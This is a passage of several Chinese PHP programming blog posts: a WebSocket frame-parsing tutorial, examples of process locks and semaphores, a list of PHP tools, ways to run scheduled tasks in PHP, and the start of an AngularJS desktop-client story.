 |     Extended payload length continued, if payload len == 127  |
 + - - - - - - - - - - - - - - - +-------------------------------+
 |                               |Masking-key, if MASK set to 1  |
 +-------------------------------+-------------------------------+
 | Masking-key (continued)       |          Payload Data         |
 +-------------------------------- - - - - - - - - - - - - - - - +
 :                     Payload Data continued ...                :
 + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
 |                     Payload Data continued ...                |
 +---------------------------------------------------------------+




	
FIN: 1 bit, 标记是否是最后一个message的最后一个片段

	
RSV1, RSV2, RSV3： 各 1 bit, 保留标记，都为0

	
Opcode：4 bits， 是对payload data的说明，指明这个帧的类型。




	0x0 表明为接着上一帧的连续帧

	0x1 表明为text frame

	0x2 表明为binary frame

	0x3-7 保留

	0x8 表示连接关闭

	0x9 为ping

	0xA 为pong

	0xB-F 保留 



- Mask: 1 bit, 指明Payload data是否被mask，如果为1，那么数据需要根据masking-key来unmask。客户端发送的帧都是mask的。

- Payload length： 7 bits 或 7+16 bits 或 7+64 bits. 如果值为0-125，那么该值就是payload的长度；如果为126，那么接下来的2个byte表示payload长度(16bit, unsigned)； 如果为127，那么接下来的8个bytes表示payload的长度(64bit, unsigned)。

- Masking-key: 0 或 4 bytes, 用于unmask payload data。

- Payload data: 长度为 Payload length, 可以分为 extension data + application data, 扩展数据的长度计算方法是是事先商议好的，剩余的就是应用数据。


Mask规则


masking-key是客户端随意指定的32bit长度值。从原始数据到masked数据的方式为：原始数据第i个字节的值 XOR masking-key的第(i%4)个字节的值。XOR表示异或，%表示取模。


片段化的作用


当传递一个未知长度的数据时，可以不用一下子buffer全部的数据。尤其当数据非常大时，可以分多次buffer，包装为frame来发送。


尝试解析一个frame


看到这里，我们已经了解了frame的结构，是否想尝试解析一个frame，官方文档提供了几段二进制数据，我们可以用来练习一下。我挑选了其中两段, 代码如下：


php<?php

//A single-frame unmasked text message
$data = array(0x81, 0x05, 0x48, 0x65, 0x6c, 0x6c, 0x6f);
//A single-frame masked text message
$data2 = array(0x81, 0x85, 0x37, 0xfa, 0x21, 0x3d, 0x7f, 0x9f, 0x4d, 0x51, 0x58);


handleData(toString($data));
handleData(toString($data2));

function toString(array $data) {
    return array_reduce($data, function($carry, $item){
        return $carry .= chr($item);
    });
}

function handleData($data){
    $offset = 0;

    $temp = ord($data[$offset++]);
    $FIN = ($temp >> 7) & 0x1;
    $RSV1 = ($temp >> 6) & 0x1;
    $RSV2 = ($temp >> 5) & 0x1;
    $RSV3 = ($temp >> 4) & 0x1;
    $opcode = $temp & 0xf;

    echo "First byte: FIN is $FIN, RSV1-3 are $RSV1, $RSV2, $RSV3; Opcode is $opcode \n";

    $temp = ord($data[$offset++]);
    $mask = ($temp >> 7) & 0x1;
    $payload_length = $temp & 0x7f;
    if($payload_length == 126){
        $temp = substr($data, $offset, 2);
        $offset += 2;
        $temp = unpack('nl', $temp);
        $payload_length = $temp['l'];
    }elseif($payload_length == 127){
        $temp = substr($data, $offset, 8);
        $offset += 8;
        $temp = unpack('nl', $temp);
        $payload_length = $temp['l'];
    }
    echo "mask is $mask, payload_length is $payload_length \n";

    if($mask ==0){
        $temp = substr($data, $offset);
        $content = '';
        for ($i=0; $i < $payload_length; $i++) { 
            $content .= $temp[$i];
        }
    }else{
        $masking_key = substr($data, $offset, 4);
        $offset += 4;

        $temp = substr($data, $offset);
        $content = '';
        for ($i=0; $i < $payload_length; $i++) { 
            $content .= chr(ord($temp[$i]) ^ ord($masking_key[$i%4]));
        }
    }

    echo "content is $content \n";
}



结果输出如下图：






  到这里其实并不算完，ws协议还有很多很多规则，RFC文档实在是太长了。比如，如何应对每一种control frame，有详细的说明；如何关闭连接；协议扩展；错误处理；安全相关；一些基本的内容都能在swoole framework中找到对应的代码。
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PHP编程中的锁

最近看了《理解Linux进程》这本开源书，链接。该书描述了linux中的进程概念，对锁和进程间通信(IPC)有一些总结。不过该书的描述语言是golang, 平时用的比较少，就想对应概念找找php中的接口。



文件锁

全名叫 advisory file lock, 书中有提及。 这类锁比较常见，例如 mysql, php-fpm 启动之后都会有一个pid文件记录了进程id，这个文件就是文件锁。

这个锁可以防止重复运行一个进程，例如在使用crontab时，限定每一分钟执行一个任务，但这个进程运行时间可能超过一分钟，如果不用进程锁解决冲突的话两个进程一起执行就会有问题。

使用PID文件锁还有一个好处，方便进程向自己发停止或者重启信号。例如重启php-fpm的命令为

kill -USR2 `cat /usr/local/php/var/run/php-fpm.pid`

发送USR2信号给pid文件记录的进程，信号属于进程通信，会另开一个篇幅。

php的接口为flock，文档比较详细。先看一下定义，bool flock ( resource $handle , int $operation [, int &$wouldblock ] ).


	$handle是文件系统指针，是典型地由 fopen() 创建的 resource(资源)。这就意味着使用flock必须打开一个文件。


	$operation 是操作类型。


	&$wouldblock 如果锁是阻塞的，那么这个变量会设为1.




需要注意的是，这个函数默认是阻塞的，如果想非阻塞可以在 operation 加一个 bitmask LOCK_NB. 接下来测试一下。

$pid_file = "/tmp/process.pid";
$pid = posix_getpid();
$fp = fopen($pid_file, 'w+');
if(flock($fp, LOCK_EX | LOCK_NB)){
    echo "got the lock \n";
    ftruncate($fp, 0);      // truncate file
    fwrite($fp, $pid);
    fflush($fp);            // flush output before releasing the lock
    sleep(300); // long running process
    flock($fp, LOCK_UN);    // 释放锁定
} else {
    echo "Cannot get pid lock. The process is already up \n";
}
fclose($fp);

保存为 process.php，运行php process.php &, 此时再次运行php process.php，就可以看到错误提示。flock也有共享锁，LOCK_SH.

互斥锁和读写锁

sync模块中的Mutex

Mutex是一个组合词，mutual exclusion。用pecl安装一下sync模块, pecl install sync。 文档中的SyncMutex只有两个方法，lock 和 unlock， 我们就直接上代码测试吧。没有用IDE写，所以cs异常丑陋，请无视。

$mutex = new SyncMutex("UniqueName");

for($i=0; $i<2; $i++){
    $pid = pcntl_fork();
    if($pid <0){
        die("fork failed");
    }elseif ($pid>0){
        echo "parent process \n";
    }else{
        echo "child process {$i} is born. \n";
        obtainLock($mutex, $i);
    }
}

while (pcntl_waitpid(0, $status) != -1) { 
    $status = pcntl_wexitstatus($status); 
    echo "Child $status completed\n"; 
}

function obtainLock ($mutex, $i){
    echo "process {$i} is getting the mutex \n";
    $res = $mutex->lock(200);
    sleep(1);
    if (!$res){
        echo "process {$i} unable to lock mutex. \n";
    }else{
        echo "process {$i} successfully got the mutex \n";
        $mutex->unlock();
    }
    exit();
}


保存为mutex.php, run php mutex.php, output is

parent process 
parent process 
child process 1 is born. 
process 1 is getting the mutex 
child process 0 is born. 
process 0 is getting the mutex 
process 1 successfully got the mutex 
Child 0 completed
process 0 unable to lock mutex. 
Child 0 completed

这里子进程0和1不一定谁在前面。但是总有一个得不到锁。这里SyncMutex::lock(int $millisecond)的参数是 millisecond, 代表阻塞的时长， -1 为无限阻塞。

sync模块中的读写锁

SyncReaderWriter的方法类似，readlock, readunlock, writelock, writeunlock,成对出现即可，没有写测试代码，应该和Mutex的代码一致，把锁替换一下就可以。

sync模块中的Event

感觉和golang中的Cond比较像，wait()阻塞，fire()唤醒Event阻塞的一个进程。有一篇好文介绍了Cond, 可以看出Cond就是锁的一种固定用法。SyncEvent也一样。
php文档中的例子显示，fire()方法貌似可以用在web应用中。

上测试代码

for($i=0; $i<3; $i++){
    $pid = pcntl_fork();
    if($pid <0){
        die("fork failed");
    }elseif ($pid>0){
        //echo "parent process \n";
    }else{
        echo "child process {$i} is born. \n";
        switch ($i) {
        case 0:
            wait();
            break;
        case 1:
            wait();
            break;
        case 2:
            sleep(1);
            fire();
            break;
        }
    }
}

while (pcntl_waitpid(0, $status) != -1) { 
    $status = pcntl_wexitstatus($status); 
    echo "Child $status completed\n"; 
}

function wait(){
    $event = new SyncEvent("UniqueName");
    echo "before waiting. \n";
    $event->wait();
    echo "after waiting. \n";
    exit();
}

function fire(){
    $event = new SyncEvent("UniqueName");
    $event->fire();
    exit();
}

这里故意少写一个fire(), 所以程序会阻塞，证明了 fire() 一次只唤醒一个进程。

pthreads模块

貌似也看到了Mutex, Cond, Pool. 没来得及看，看完再补充。

信号量

sync模块中的信号量

SyncSemaphore文档中显示，它和Mutex的不同之处，在于Semaphore一次可以被多个进程(或线程)得到，而Mutex一次只能被一个得到。所以在SyncSemaphore的构造函数中，有一个参数指定信号量可以被多少进程得到。
public SyncSemaphore::__construct ([ string $name [, integer $initialval [, bool $autounlock ]]] ) 就是这个$initialval (initial value)

$lock = new SyncSemaphore("UniqueName", 2);

for($i=0; $i<2; $i++){
    $pid = pcntl_fork();
    if($pid <0){
        die("fork failed");
    }elseif ($pid>0){
        echo "parent process \n";
    }else{
        echo "child process {$i} is born. \n";
        obtainLock($lock, $i);
    }
}

while (pcntl_waitpid(0, $status) != -1) { 
    $status = pcntl_wexitstatus($status); 
    echo "Child $status completed\n"; 
}

function obtainLock ($lock, $i){
    echo "process {$i} is getting the lock \n";
    $res = $lock->lock(200);
    sleep(1);
    if (!$res){
        echo "process {$i} unable to lock lock. \n";
    }else{
        echo "process {$i} successfully got the lock \n";
        $lock->unlock();
    }
    exit();
}

这时候两个进程都能得到锁。

sysvsem模块中的信号量


	sem_get 创建信号量


	sem_remove 删除信号量（一般不用）


	sem_acquire 请求得到信号量


	sem_release 释放信号量。和 sem_acquire 成对使用。




$key = ftok('/tmp', 'c');
$sem = sem_get($key);

for($i=0; $i<2; $i++){
    $pid = pcntl_fork();
    if($pid <0){
        die("fork failed");
    }elseif ($pid>0){
        //echo "parent process \n";
    }else{
        echo "child process {$i} is born. \n";
        obtainLock($sem, $i);
    }
}

while (pcntl_waitpid(0, $status) != -1) { 
    $status = pcntl_wexitstatus($status); 
    echo "Child $status completed\n"; 
}
sem_remove($sem); // finally remove the sem

function obtainLock ($sem, $i){
    echo "process {$i} is getting the sem \n";
    $res = sem_acquire($sem, true);
    sleep(1);
    if (!$res){
        echo "process {$i} unable to get sem. \n";
    }else{
        echo "process {$i} successfully got the sem \n";
        sem_release($sem);
    }
    exit();
}

这里有一个问题，sem_acquire()第二个参数$nowait默认为false，阻塞。我设为了true，如果得到锁失败，那么后面的sem_release会报警告 PHP Warning:  sem_release(): SysV semaphore 4 (key 0x63000081) is not currently acquired in /home/jason/sysvsem.php on line 33, 所以这里的release操作必须放在得到锁的情况下执行，前面的几个例子中没有这个问题，没得到锁执行release也不会报错。当然最好还是成对出现，确保得到锁的情况下再release。 

此外，ftok这个方法的参数有必要说明下，第一个 必须是existing, accessable的文件, 一般使用项目中的文件，第二个是单字符字符串。返回一个int。

输出为

parent process 
parent process 
child process 1 is born. 
process 1 is getting the mutex 
child process 0 is born. 
process 0 is getting the mutex 
process 1 successfully got the mutex 
Child 0 completed
process 0 unable to lock mutex. 
Child 0 completed

最后，如果文中有错误的地方，希望大神指出，帮助一下菜鸟进步，谢谢各位。
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PHP是为Web开发设计的服务器脚本语言，但也是一种通用的编程语言。超过2.4亿个索引域使用PHP，包括很多重要的网站，例如Facebook、Digg和WordPress。和其它脚本语言相比，例如Python和Ruby，Web开发者有很多不错的理由皮偏爱PHP。

对于PHP开发者，在互联网上有很多可用的开发工具，但是找到一个合适的PHP开发工具是很难的，需要花费很多努力和时间。今天，就为开发者介绍45个方便的PHP工具。


Plates


Plates是一个简单易用的PHP模板系统。Plates是为那些喜欢使用本地模板而不是编译模板的人设计的。


Laravel


Laravel是一个有着优雅表达语言的开源框架。


Parsedown


一个Laravel的Parsedown包装器，能够将markdown编译成HTML。Parsedown运行很快，并支持GitHub flavored markdown.


Guzzle


Guzzle是一个PHP版的HTTP客户端，让PHP很容易的和HTTP/1.1协议一起使用，并能减少Web服务带来的痛苦。


Hoa


Hoa是一组PHP库，它创建了工业和研究之间的桥梁。


PHP-CPP


PHP-CPP是一个C++写的PHP扩展库。它提供了一个良好的文档记录和易于使用的类的集合,可以使用和扩展构建本地PHP扩展。


Twig


Twig是一个快速、安全和稳定的PHP模板引擎。


Requests for PHP


Requests是用PHP写的HTTP库。


The Prettifier


Prettifier为一些编程语言，如CSS/HTMl/XML/PHP/SQL/Perl等，提供了一个在线编辑、格式和语言高亮的平台。


Geocoder PHP


Geocoder是一个构建geo应用很好的库，为geocoding操作提供了一个抽象层。


Slim Starter


Slim Starter由Xsanisty创建，是创建高级Web应用的解决方案。


Mink


Mink是一个PHP库，可以让你以交互的方式在浏览器中测试Web APP，它移除了两种浏览器模拟器之间的API差异，为你提供一个更准确的测试环境。


Forp


Forp是用C写的PHP分析器。Forp是轻量级的PHP扩展，它提供了一个简单的PHP数组或JSON输出，其包含了完整的脚本调用堆栈和CPU和内存使用情况。forp是非侵入性,并提供PHP注释来完成工作。


Belt


对PHP开发者来说，Belt是一个非常有用的工具，它提供了超过60个有用的函数。


Icon Generator for PHP


Icon Generator允许你生成基于彩色背景的Icon图标，这和Gmail的类似。


Rainloop


Rainloop是一个免费开源的PHP Web邮件应用，它有现代的用户接口，支持SMTP + IMAP。


Pattern Lab


Pattern Lab不仅是一个前端框架，也是一个PHP驱动的静态网站生成器、项目模式库和前端风格指南。


Composer


Composer是一个独立的PHP管理插件，在你项目的根目录创建一个组合器文件，再运行一个命令，则你所有的依赖都可以下载使用了。


Directus


Directus是用Backbone.js创建的免费开源的、客户端友好的数据库GUI，它提供了丰富的功能用户快速开发和自定义数据库解决方案管理。


PHP Debug Bar


Debug可以很容易的集成到任何项目中，并能显示来自应用任何部分的分析数据。它来自于PHP内置数据收集器的特性和受欢迎的项目。


Phalcon PHP


Phalcon PHP是C扩展的一个Web框架，提供了高性能和低资源消耗。


Pinboard


Pinboard是一个MySQL存储引擎，为PHP的MYSQL使用情况提供了实时监控/统计数据服务的只读接口。


Casebox


Casebox是一个开源的PHP/MYSQL驱动的Web应用，用于存储和管理记录、任务和文件。它有一个类似桌面的界面,我们可以创建一个unlimited-level目录用于优先存储结构化的东西。


Munee


Munee是一个一体化库，开源处理很多与Web资源优化和操作相关的事情。Munee也有很强大的缓存功能，可以在服务器和客户端缓存资源。


ImageWorkshop


ImageWorkshop是一个基于GD库的开源类，可以帮助你用PHP管理图像。这个类很像PS、GIMP一类的图像编辑软件：你可以添加许多层或层组,每一层都有一个背景图像。


Sylius


Sylius为PHP而设计的免费开源的电子商务解决方案（基于Symfony2），它能够管理任何规模的商店和复杂的产品类别。


Pico


Pico是一个开源的CMS应用，没有多余的东西，这才是最重要的。它使用平面文件作为数据库，用PHP构建。简单的说，不用设置什么，这个APP就能运行。


PHP MyFAQ


PHP MyFAQ是一个稳定开源的PHP F.A.Q. 应用，为构建一个很好的F.A.Q.系统提供了很多功能，并提供了强大的管理界面来管理类别、条目、用户和查看统计数据。A###PHP Documentor
PHP Documentor能读取代码的结构,文件系统结构、类、函数和介于两者之间的,并生成文档。


CakePHP


CakePHP是一个开源的Web应用框架，遵循MVC模式，并有PHP编写。它仿照Ruby on Rails的概念,在MIT许可下发布的。


CodeIgniter


CodeIgniter是一个强大的、开源的PHP框架。


Monsta FTP


Monsta FTP是一个PHP云件，并能将FTP文件管理放置在Web浏览器中，你可以在浏览器中进行文件的拖放。


XAMPP


XAMPP是一个免费和开源的跨平台web服务器解决方案，主要包括Apache HTTP服务器、MySQL数据库、PHP和Perl编写的脚本解释器。


NetBeans


NetBeans是开源的，并允许你使用Java, HTML5, PHP, C/C++等快速开发桌面、移动和Web应用。


Aura


Aura为PHP5.4+提供了独立的库包。这些包可以单独使用,具有一致性、也能自我组合成一个完整的框架。


PHPCheckstyle


PHPCheckstyle是一个开源功能，能帮助PHP程序员保持一致的编码风格。该工具检查输入PHP源代码和报告任何违反给定的标准。


PHP Mess Detector


PHP Mess Detector易于配置，前端用户友好。它能检查代码中的潜在问题,包括可能的错误,次优的代码,未使用的参数,等等。


Kohana


Kohana一个基于PHP5的优雅的、开源和面向对象HMVC框架,由一群志愿者维护和开发。它的目标是迅速,安全,和轻量。


Sabberworm


用PHP编写的一个CSS文件解析器。Sabberworm允许提取CSS文件到一个数据结构,操纵结构和输出(优化的)CSS。


Nette


Nette框架是一个PHPweb开发的工具。它被设计成尽可能友好、易用。它侧重于安全性和性能，绝对是最安全的PHP开发框架之一。


PHP Markdown


这是一个库包，包含了PHP Markdown解析器和额外的功能扩展。Markdown是一个text-to-html的转换工具。


Yii 2


Yii 2完整重写它的先前版本1.1,Yii也是最流行的PHP开发框架之一。Yii是一个高性能的PHP框架，最适合开发Web 2.0应用程序。


PHP Sandbox


PHP Sandbox利用PHPParser来防止沙箱运行不安全的代码。它利用FunctionParser分解传递到沙箱的调用,这样，即使没有转换成字符串，PHP调用也可以在沙箱中运行。


译文出处：http://www.ido321.com/1546.html


英文原文：40+ tools for writing better PHP


 PHP实现执行定时任务的几种思路详解

作者：唐霜

来源： PHP实现执行定时任务的几种思路详解



                    
PHP本身是没有定时功能的，PHP也不能多线程。PHP的定时任务功能必须通过和其他工具结合才能实现，例如WordPress内置了wp-cron的功能，很厉害。本文，我们就来深入的解析几种常见的php定时任务的思路。


Linux服务器上使用CronTab定时执行php


我们先从相对比较复杂的服务器执行php谈起。服务器上安装了php，就可以执行php文件，无论是否安装了nginx或Apache这样的服务器环境软件。而Linux中，使用命令行，用CronTab来定时任务，又是绝佳的选择，而且也是效率最高的选择。


首先，进入命令行模式。作为服务器的linux一般都默认进入命令行模式的，当然，我们管理服务器也一般通过putty等工具远程连接到服务器，为了方便，我们用root用户登录。在命令行中键入：


crontab -e



之后就会打开一个文件，并且是非编辑状态，则是vi的编辑界面，通过敲键盘上的i，进入编辑模式，就可以编辑内容。这个文件中的每一行就是一个定时任务，我们新建一行，就是新建一条定时任务（当然是指这一行内按照一定的格式进行书写）。我们现在来举个例子，增加一行，内容如下：


00 * * * * lynx -dump https://www.yourdomain.com/script.php



这是什么意思呢？实际上上面这一行由两部分组成，前面一部分是时间，后面一部分是操作内容。例如上面这个，


00 * * * *



就是指当当前时间的分钟数为00时，执行该定时任务。时间部分由5个时间参数组成，分别是：


分　时　日　月　周



第1列表示分钟1～59 每分钟用或者 */1表示，/n表示每n分钟，例如*/8就是每8分钟的意思，下面也是类推

第2列表示小时1～23（0表示0点）

第3列表示日期1～31

第4列表示月份1～12

第5列标识号星期0～6（0表示星期天）


整个句子的后面部分就是操作的具体内容。


lynx -dump https://www.yourdomain.com/script.php



意思就是说通过lynx访问这个url。我们在使用中主要用到lynx、curl、wget来实现对url的远程访问，而如果要提高效率，直接用php去执行本地php文件是最佳选择，例如：


00 */2 * * * /usr/local/bin/php /home/www/script.php



这条语句就可以在每2小时的0分钟，通过linux内部php环境执行script.php，注意，这里可不是通过url访问，通过服务器环境来执行哦，而是直接执行，因为绕过了服务器环境，所以效率当然要高很多。


好了，已经添加了几条需要的定时任务了吧。点击键盘上的Esc键，输入“:wq”回车，这样就保存了设置的定时任务，屏幕上也能看到提示创建了新的定时任务。接下来就是好好写你的script.php了。


关于CronTab的更多用法这里就不介绍了，如果你想更灵活的使用这个定时任务功能，应该自己再去深入学习一下crontab。


Windows服务器上使用bat定时执行php


windows上和linux上有一个类似的cmd和bat文件，bat文件类似于shell文件，执行这个bat文件，就相当于依次执行里面的命令（当然，还可以通过逻辑来实现编程），所以，我们可以利用bat命令文件在windows服务器上面实现PHP定时任务。实际上在windows上定时任务，和linux上道理是一样的，只不过方法和途径不同。好了下面开始。


首先，在一个你觉得比较适当的位置创建一个cron.bat文件，然后用文本编辑器打开它（记事本都可以），在里面写上这样的内容：


D:\php\php.exe -q D:\website\test.php



这句话的意思就是，使用php.exe去执行test.php这个php文件，和上面的contab一样，绕过了服务器环境，执行效率也比较高。写好之后，点击保存，关闭编辑器。


接下来就是设置定时任务来运行cron.bat。依次打开：“开始–>控制面板–>任务计划–>添加任务计划”，在打开的界面中设置定时任务的时间、密码，通过选择，把cron.bat挂载进去。确定，这样一个定时任务就建立好了，在这个定时任务上右键，运行，这个定时任务就开始执行了，到点时，就会运行cron.bat处理，cron.bat再去执行php。


非自有服务器（虚拟主机）上实现php定时任务


如果站长没有自己的服务器，而是租用虚拟主机，就无法进入服务器系统进行上述操作。这个时候应该如何进行php定时任务呢？其实方法又有多个。


使用ignore_user_abort(true)和sleep死循环


在一个php文档的开头直接来一句：


ignore_user_abort(true);



这时，通过url访问这个php的时候，即使用户把浏览器关掉（断开连接），php也会在服务器上继续执行。利用这个特性，我们可以实现非常牛的功能，也就是通过它来实现定时任务的激活，激活之后就随便它自己怎么办了，实际上就有点类似于后台任务。


而sleep(n)则是指当程序执行到这里时，暂时不往下执行，而是休息n秒钟。如果你访问这个php，就会发现页面起码要加载n秒钟。实际上，这种长时间等待的行为是比较消耗资源的，不能大量使用。


那么定时任务到底怎么实现呢？使用下面的代码即可实现：


<?php

ignore_user_abort(true);
set_time_limit(0);
date_default_timezone_set('PRC'); // 切换到中国的时间

$run_time = strtotime('+1 day'); // 定时任务第一次执行的时间是明天的这个时候
$interval = 3600*12; // 每12个小时执行一次

if(!file_exists(dirname(__FILE__).'/cron-run')) exit(); // 在目录下存放一个cron-run文件，如果这个文件不存在，说明已经在执行过程中了，该任务就不能再激活，执行第二次，否则这个文件被多次访问的话，服务器就要崩溃掉了

do {
  if(!file_exists(dirname(__FILE__).'/cron-switch')) break; // 如果不存在cron-switch这个文件，就停止执行，这是一个开关的作用
  $gmt_time = microtime(true); // 当前的运行时间，精确到0.0001秒
  $loop = isset($loop) && $loop ? $loop : $run_time - $gmt_time; // 这里处理是为了确定还要等多久才开始第一次执行任务，$loop就是要等多久才执行的时间间隔
  $loop = $loop > 0 ? $loop : 0;
  if(!$loop) break; // 如果循环的间隔为零，则停止
  sleep($loop); 
  // ...
  // 执行某些代码
  // ...
  @unlink(dirname(__FILE__).'/cron-run'); // 这里就是通过删除cron-run来告诉程序，这个定时任务已经在执行过程中，不能再执行一个新的同样的任务
  $loop = $interval;
} while(true);



通过执行上面这段php代码，即可实现定时任务，直到你删除cron-switch文件，这个任务才会停止。


但是有一个问题，也就是如果用户直接访问这个php，实际上没有任何作用，页面也会停在这个地方，一直处于加载状态，有没有一种办法可以消除这种影响呢？fsockopen帮我们解决了这个问题。


fsockopen可以实现在请求访问某个文件时，不必获得返回结果就继续往下执行程序，这是和curl通常用法不一样的地方，我们在使用curl访问网页时，一定要等curl加载完网页后，才会执行curl后面的代码，虽然实际上curl也可以实现“非阻塞式”的请求，但是比fsockopen复杂的多，所以我们优先选择fsockopen，fsockopen可以在规定的时间内，比如1秒钟以内，完成对访问路径发出请求，完成之后就不管这个路径是否返回内容了，它的任务就到这里结束，可以继续往下执行程序了。利用这个特性，我们在正常的程序流中加入fsockopen，对上面我们创建的这个定时任务php的地址发出请求，即可让定时任务在后台执行。如果上面这个php的url地址是www.yourdomain.com/script.php，那么我们在编程中，可以这样：


// ...
// 正常的php执行程序
// ..

// 远程请求（不获取内容）函数，下面可以反复使用
function _sock($url) {
  $host = parse_url($url,PHP_URL_HOST);
  $port = parse_url($url,PHP_URL_PORT);
  $port = $port ? $port : 80;
  $scheme = parse_url($url,PHP_URL_SCHEME);
  $path = parse_url($url,PHP_URL_PATH);
  $query = parse_url($url,PHP_URL_QUERY);
  if($query) $path .= '?'.$query;
  if($scheme == 'https') {
    $host = 'ssl://'.$host;
  }

  $fp = fsockopen($host,$port,$error_code,$error_msg,1);
  if(!$fp) {
    return array('error_code' => $error_code,'error_msg' => $error_msg);
  }
  else {
    stream_set_blocking($fp,true);//开启了手册上说的非阻塞模式
    stream_set_timeout($fp,1);//设置超时
    $header = "GET $path HTTP/1.1\r\n";
    $header.="Host: $host\r\n";
    $header.="Connection: close\r\n\r\n";//长连接关闭
    fwrite($fp, $header);
    usleep(1000); // 这一句也是关键，如果没有这延时，可能在nginx服务器上就无法执行成功
    fclose($fp);
    return array('error_code' => 0);
  }
}

_sock('www.yourdomain.com/script.php');

// ...
// 继续执行其他动作
// ..



把这段代码加入到某个定时任务提交结果程序中，在设置好时间后，提交，然后执行上面这个代码，就可以激活该定时任务，而且对于提交的这个用户而言，没有任何页面上的堵塞感。


借用用户的访问行为来执行某些延迟任务


但是上面使用sleep来实现定时任务，是效率很低的一种方案。我们希望不要使用这种方式来执行，这样的话就可以解决效率问题。我们借用用户访问行为来执行任务。用户对网站的访问其实是一个非常丰富的行为资源，包括搜索引擎蜘蛛对网站的访问，都可以算作这个类型。在用户访问网站时，内部加一个动作，去检查任务列表中是否存在没有被执行的任务，如果存在，就将这个任务执行。对于用户而言，利用上面所说的fsockopen，根本感觉不到自己的访问竟然还做出了这样的贡献。但是这种访问的缺点就是访问很不规律，比如你希望在凌晨2点执行某项任务，但是这个时间段非常倒霉，没有用户或任何行为到达你的网站，直到早上6点才有一个新访问。这就导致你原本打算2点执行的任务，到6点才被执行。


这里涉及到一个定时任务列表，也就是说你需要有一个列表来记录所有任务的时间、执行什么内容。一般来说，很多系统会采用数据库来记录这些任务列表，比如wordpress就是这样做的。我则利用文件读写特性，提供了托管在github上的开源项目php-cron，你可以去看看。总之，如果你想要管理多个定时任务，靠上面的单个php是无法合理布局的，必须想办法构建一个schedules列表。由于这里面的逻辑比较复杂，就不再详细阐述，我们仅停留在思路层面上。


借用第三方定时任务跳板


很好玩的是，一些服务商提供了各种类型的定时任务，例如阿里云的ACE提供了单独的定时任务，你可以填写自己应用下的某个uri。百度云BCE提供了服务器监测功能，每天会按照一定的时间规律访问应用下的固定uri。类似的第三方平台上还有很多定时任务可以用。你完全可以用这些第三方定时任务作为跳板，为你的网站定时任务服务。比如说，你可以在阿里云ACE上建立一个每天凌晨2点的定时任务，执行的uri是/cron.php。然后你创建一个cron.php，里面则采用fsockopen去访问你真正要执行某些任务的网站的url，例如上面的www.yourdomain.com/script.php，而且在cron.php中还可以访问多个url。然后把cron.php上传到你的ACE上面去，让ACE的定时任务去访问/cron.php，然后让cron.php去远程请求目标网站的定时任务脚本。


循环利用include包含文件（待验证）


php面向过程的特性使得其程序是从上往下执行的，利用这个特性，在我们使用include某个文件时，就会执行被引入的文件，知道include的文件内程序执行完之后，再往下执行。如果我们创建一个循环，再利用sleep，不断的include某个文件，使循环执行某段程序，则可以达到定时执行的目的。我们再进一步，并不是利用while(true)来实现循环，而是利用被include文件本身再include自身来实现循环，比如我们创建一个do.php，它的内容如下：


if(...) exit(); // 通过某个开关来关闭执行

// ... 
// 执行某些程序
// ...

sleep($loop); // 这个$loop在include('do.php');之前赋值

include(dirname(__FILE__).'/do.php');



其实通过这种方法执行和while的思路也像。而且同样用到sleep，效率低。


PHP定时任务是一个非常有意思的东西，虽然说实话，用系统的php.exe去直接执行php文件的效率更高，但是对于很多普通站长而言，虚拟主机是无法做到直接php执行原生程序的。本文仅提供一些解决的思路，我也仅仅是在学习中，有很多问题或表述都不正确，希望你指出来；你可以通过本文的思路，开发出自己的一种解决方案，希望你能将方案发布，并与我一起探讨。


 从用 AngularJS 开发 PC 客户端说起

作者：Mr_Jing
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最近一个多月一直在用 AngularJS 做公司的一个项目（还没有做完），我之前主要是用 PHP 开发服务端的，AngularJS 也是现学现卖，整个过程还是比较有意义的，觉得很有必要写篇文章记录一下。

缘起

事情是这样的……我们团队的产品是一款 PC 客户端，客户端的界面主要是用 C++ 开发的，还有部分界面其实就是用 IE 浏览器内嵌了服务端的 web 页面。在这个时期，项目经理带着一个 C++ 同事写界面（对的，我们项目经理是写代码的老手），然后很苦……而对于 IE 浏览器，策略是用户 PC 上是哪个版本的 IE 浏览器就用那个版本的，这也苦了前端同事和我们俩 PHP（主要是前端同事特别苦）。而且产品经理对于实现效果也不是很满意。

后来，经过团队的一致同意，决定采用谷歌浏览器内核，放弃了 IE 浏览器。于是客户端使用了 CEF，用 Chromium&Webkit 来呈现 web 页面。这个时期，客户端的开发任务逐渐改为由一个C++ 同事（昵称：小白）承担，项目经理辅助。其间小白同学还掉 CEF 的坑里面了……恩，还是很苦的。之后很多新功能点的开发任务就向服务端倾斜，客户端里面采用 web 页面的功能也越来越多。但是，这样的用户体验不是很好。连其他团队的同事都说我们组不是在做客户端，而是客户端里面嵌浏览器，浏览器里面跑网页。

再后来，领导说，web 版也得有。用户说，你们为什么不开发 Mac 版（我们组连 Mac 都没有，鬼来给你们开发 Mac 版啊）。于是，项目经理就把我们俩 PHP 叫到跟前，语重心长地说：“你们看，小白做客户端也挺累的。我们现在当然也不可能开发 Mac 版，但是，Mac 版可能还是得有的，在不远的将来。你们说能不能就用 web 的开发模式来实现客户端啊？这样 web 版、Window PC 版、Mac 版就都有了。你们看，有道云笔记、StarUML、钉钉这些就挺吊的。” 恩，我明白，其实我们需要做的东西是单页应用。

调研和选型

有道、heX、AngularJS

于是，我们就开始了调研和选型的任务。既然说到了有道云笔记、StarUML、钉钉这几款软件，那么我们就从它们开始着手。
有道云笔记可能就是最贴近我们想法的产品，有客户端，有 web 版。
有道自己有个项目叫heX。这是其官网的介绍：

heX 项目于 2012 年启动，基于开源项目 CEF，它内部整合了开源项目 Chromium 及 Node.JS，将两者的 V8 引擎和消息循环合并，从而达到了在 Chromium 所展现的 Web 页面内可以直接使用 Node.JS 原生和及第三方扩展的 API 以及 Node.JS 最大的特色——异步回调与事件循环。 
heX 最初的目标是，采用纯前端 （HTML，CSS，JavaScript） 的方式开发客户端软件，解决传统桌面开发中大量繁琐的 UI 工作。以实现跨平台 (Windows，OS X，Linux)，高效的桌面程序开发。随着持续的开发，heX 被赋予了更多的角色，它可以作为 web 容器嵌入到客户端工程中，还可以作为浏览器 (HeXium) 对 Node.js 进行调试。



这篇博客《heX：用HTML5和Node.JS开发桌面应用》讲述了 heX 的前世今生，貌似有道词典是用 heX 开发的，但是有道云笔记是否使用了 Hex，文章和官网没有提及。我粗略地对比了一下有道云笔记和有道词典安装后的目录及文件，估计有道云笔记还是使用的 CEF。

而有道云笔记界面是使用的是： AngularJS。

StarUML2、nw、Kendo UI

